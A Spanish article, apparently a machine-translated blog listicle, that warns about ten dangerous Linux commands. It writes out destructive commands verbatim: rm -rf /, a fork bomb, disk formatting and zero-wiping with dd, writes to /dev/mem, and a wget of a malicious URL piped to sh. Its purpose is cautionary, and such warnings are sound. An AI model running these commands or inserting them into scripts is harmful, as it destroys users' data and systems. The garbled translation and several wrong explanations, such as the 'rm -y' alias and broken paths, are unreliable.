10 órdenes más peligrosas: no debería ejecutar nunca a Linux

Todos estamos de acuerdo en que las órdenes del terminal de Linux son potentes y que son fáciles de ejecutar. Proporciona un poder desenfrenado al programador para ejecutar órdenes sin preocuparse de los errores. Una de las órdenes más fáciles de Linux es la supresión de ficheros. La capacidad de Linux para borrar cualquier cosa que desee sin lugar a dudas es una suerte de Dios, sobre todo después de haberos enfrentado a los errores «Este archivo no se puede suprimir» en Windows.

Pero el problema es que, a diferencia de los ordenadores basados ​​en Windows, Linux no pide confirmación cuando ejecuta una orden. Estas órdenes de Linux pueden borrar los archivos importantes del sistema o romper el sistema y no tiene ninguna manera de recuperarse arreglar estos órdenes ejecutadas.

Aquí hay 10 órdenes de Linux que no debería ejecutar nunca

1. Orden rm -rf

Conocida como orden de supresión recursiva, el archivo rm -rf El orden es una de las maneras más rápidas de eliminar una carpeta y su contenido. Pero un poco de error o desconocimiento puede provocar daños irrecuperables en el sistema. Algunas de las opciones que se utilizan con orden rm son.

rm -rf /
  1. rm El pedido a Linux se utiliza para eliminar archivos.
  2. rm -r El orden suprime la carpeta recursiva, incluso la carpeta vacía.
  3. rm -f El orden elimina «Archivo de sólo lectura» sin pedirlo.
  4. rm -rf / : Fuerza la supresión de todo el directorio raíz.
  5. rm -rf * : Fuerza la supresión de todo el directorio actual / directorio de trabajo.
  6. rm -rf. : Fuerza la supresión de la carpeta y subcarpetas actuales.

Por lo tanto, tenga cuidado al ejecutar rm -rf mando. Para superar la eliminación accidental del fichero mediante ‘rmOrden, cree un alias de ‘rm«Orden como»rm -y‘A «.bashrc«, Le preguntará cada supresión. ‘

Tenga en cuenta que, actualmente, en la mayoría de sistemas Linux, si intenta hacerlo, recibirá un aviso. Pero el aviso no está garantizado, así que no lo esté.

2 .: () {: |: &};: Orden

Esta orden es en realidad un bomba de horquilla. Funciona definiendo una función llamada «:‘, Que se hace llamar dos veces, una en primer plano y otra en segundo plano. Se continúa ejecutando una y otra vez hasta que el sistema se congela.

:(){:|:&};:

esto bomba de horquilla orden define una función llamada : que se llama recursivamente dos veces cuando se ejecuta. Una de las llamadas recursivas se produce en primer plano, mientras que la otra se produce en segundo plano.

En otras palabras, cada vez que se ejecuta esta función, genera dos procesos hijos. Estos procesos hijos generan sus propios procesos hijos, y este ciclo continúa en un bucle infinito. La única manera de salir es reiniciar el sistema.

3. Formato de disco duro

El terminal es especialmente complicado para los principiantes de Linux, ya que proporciona varias maneras de limpiar accidentalmente el disco duro. La supresión recursiva es importante, pero tenéis otra:

mkfs.ext3 /dev/hda

Esta orden da formato al disco duro para utilizar el sistema de archivos ext3. El orden anterior formatea el bloque ‘sda ‘ y seguro que sabría que después de la ejecución de la orden anterior tu blog (Unidad de disco duro) Sería nuevo, NUEVO DE TRINCA! Sin ningún dato, deje su sistema en una etapa irrecuperable.

4. sobreescribe el disco duro

No utilice nunca esta orden si la estación de trabajo contiene trabajos para toda la vida. Como mínimo, el formato del disco es un procedimiento real con usos reales; sobrescribir directamente la unidad de uno mismo, en cambio, no es tan fantástico.

command > /dev/hda

A la orden anterior, mando se puede sustituir por cualquier orden de Bash. el > el operador redirige la salida de la orden de su izquierda en el archivo de su derecha. En este caso, no importa cuál sea la salida del comando izquierdo. Estos datos brutos se están redirigiendo y utilizando para sobrescribir el disco duro del sistema. Esto hace que su PC / portátil Linux sea inútil.

5. Limpie el disco duro

Esta orden borrará completamente el disco duro. No hay daños ni sobrescripcions de datos; literalmente, llenará el disco duro de ceros. Aunque esta orden se puede necesitar si tiene que empezar de nuevo, pero limpiar el disco duro es una mala idea.

dd if=/dev/zero of=/dev/hda

el dd El orden es una instrucción de bajo nivel que se utiliza principalmente para escribir datos a las unidades físicas. el siEl parámetro determina la fuente de datos, que en este caso es / Dev / cero, Un especial en Linux que produce un flujo infinito de ceros. el de El parámetro determina el destino de estos ceros, que es el / Dev / hda conducir.

6.> Pedido archivo

El orden anterior se utiliza para eliminar el contenido del archivo. Si la orden anterior se ejecuta con un error tipográfico o un desconocimiento como «> Xt.conf « escribirá el archivo de configuración o cualquier otro sistema o archivo de configuración y dará lugar a una avería completa de su PC / estación de trabajo.

7. Implodeu el disco duro

Para algunos motivos especiales, Linux tiene un archivo especial llamado / Dev / null que descartará cualquier dato que esté escrita. Puede pensar en un agujero negro o una trituradora de archivos: cualquier cosa que se le dé como entrada se comerá definitivamente. Debe de haber entendido a que hacía alusión. Ejecutar cualquier orden con / dev / null puede romper este archivo de datos concreto. Sin embargo, utilizar el fichero / dev / null con algunas otras órdenes puede ser muy devastador para vosotros.

mv / /dev/null

El de encima mv orden intenta mover el directorio raíz del sistema / el agujero negro de / Dev / null. Esta es una orden válida y el resultado es devastador: el disco duro se come y ya no queda nada. Si lo hace, su sistema quedará inutilizable.

8. ^ foo ^ barra

Fubar significa jodido más allá de cualquier reconocimiento / cualquier reparación / toda razón. Como su nombre indica, esta orden si no se utiliza correctamente puede frotar su sistema. Esta orden se utiliza para editar el orden de ejecución anterior sin la necesidad de volver a escribir toda la orden. Pero esto puede resultar problemático si no asuma el riesgo de comprobar a fondo el cambio de la orden original mediante ^ Foo ^ barra mando.

9. Causa el pánico del núcleo

Aunque Windows tiene su famosa BSOD o Blue Screen of Death, Linux tiene una pantalla azul similar que se conoce como Pánico del núcleo. . A veces, se produce un error interno a partir del cual la recuperación es imposible, por lo que el sistema adopta algo similar a la pantalla azul: a pánico del núcleo.

dd if = / dev / random de = / dev / puerto

echo 1> / proc / sys / kernel / panic

cat / dev / puerto

cat / dev / cero> / dev / mem

Si las órdenes anteriores no son importantes aquí. Lo importante es que ejecutar cualquiera de estas líneas provocará un pánico del núcleo, lo que le obligará a reiniciar el sistema. Lo mejor es mantenerse alejado de estas órdenes a menos que esté absolutamente seguro de saber lo que haga.

10. Ejecute el script remoto

He aquí una orden inocente que puede ser útil en el día a día en un sistema Linux. wget recupera el contenido de una URL web, que se puede utilizar para acceder a sitios web o descargar archivos. Sin embargo, hay un simple truco que lo convierte en peligroso:

wget https://an-untrusted-url -O- | sh

wget https: // malicious_source -O- | sh command descargará un script de una fuente maliciosa y la ejecutará. El orden Wget descargará el script y sh ejecutará el script descargado.

La combinación anterior descarga el contenido del URL indicado y lo transmite inmediatamente a sh , Que ejecuta los contenidos descargados en el terminal. Si la URL señalara un script malicioso, sellaría su propio destino con esta orden.